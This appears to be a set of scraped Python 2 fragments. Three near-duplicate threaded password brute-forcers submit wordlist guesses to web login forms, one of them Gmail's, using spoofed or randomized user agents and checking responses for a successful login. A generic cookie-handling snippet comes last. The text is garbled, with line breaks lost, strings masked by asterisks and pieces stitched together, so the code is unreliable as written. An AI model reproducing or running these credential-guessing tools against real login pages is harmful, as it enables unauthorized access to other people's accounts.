def run(self): global success value = getword() try: print "-"*12 print "User:"******"Password:"******"User-agent","Mozilla/5.0 (compatible)")] ClientCookie.install_opener(opener) fp = ClientCookie.urlopen("https://www.gmail.com/") forms = ClientForm.ParseResponse(fp) form = forms[0] form["Email"] = sys.argv[1] form["Passwd"] = value fp = ClientCookie.urlopen(form.click()) site = fp.readlines() for line in site: if re.search("Gmail - Inbox", line): print "\tSuccessful Login:", value success = value sys.exit(1) fp.close() except(socket.gaierror), msg: pass
def run(self): global success value = getword() try: print "-" * 12 print "User:"******"Password:"******"User-agent", random.sample(headers, 1)[0])] ClientCookie.install_opener(opener) fp = ClientCookie.urlopen(sys.argv[1]) forms = ClientForm.ParseResponse(fp) form = forms[0] form["user"] = sys.argv[2] form["pass"] = value fp = ClientCookie.urlopen(form.click()) site = fp.readlines() for line in site: if re.search("Login failed.", line.lower()) != None: print "\tSuccessful Login:", value success = value sys.exit(1) fp.close() except (socket.gaierror, urllib2.HTTPError), msg: print msg pass
def run(self): global success value = getword() try: print "-" * 12 print "User:"******"Password:"******"User-agent", random.sample(headers, 1)[0])] ClientCookie.install_opener(opener) fp = ClientCookie.urlopen(sys.argv[1]) forms = ClientForm.ParseResponse(fp) form = forms[0] form["username"] = sys.argv[2] form["password"] = value fp = ClientCookie.urlopen(form.click()) site = fp.readlines() for line in site: if re.search("invalid password", line.lower()) != None: print "\tSuccessful Login:"******"The maximum number of 5 login attempts has been exceeded.", line): print "Attempts exceeded" fp.close() except (socket.gaierror), msg: pass
import urllib import getopt import httplib import urllib2 from time import sleep from HTMLParser import HTMLParser # if we have Python 2.4's cookielib, use it try: import cookielib policy = cookielib.DefaultCookiePolicy(rfc2965=True) cookiejar = cookielib.CookieJar(policy) opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar)).open except ImportError: import ClientCookie # if this is a new ClientCookie, we need to turn on RFC2965 cookies cookiejar = ClientCookie.CookieJar() try: cookiejar.set_policy(ClientCookie.DefaultCookiePolicy(rfc2965=True)) # install an opener that uses this policy opener = ClientCookie.build_opener( ClientCookie.HTTPCookieProcessor(cookiejar)) ClientCookie.install_opener(opener) except AttributeError: # must be an old ClientCookie, which already accepts RFC2965 cookies pass opener = ClientCookie.urlopen PROGRAM = sys.argv[0] try: True, False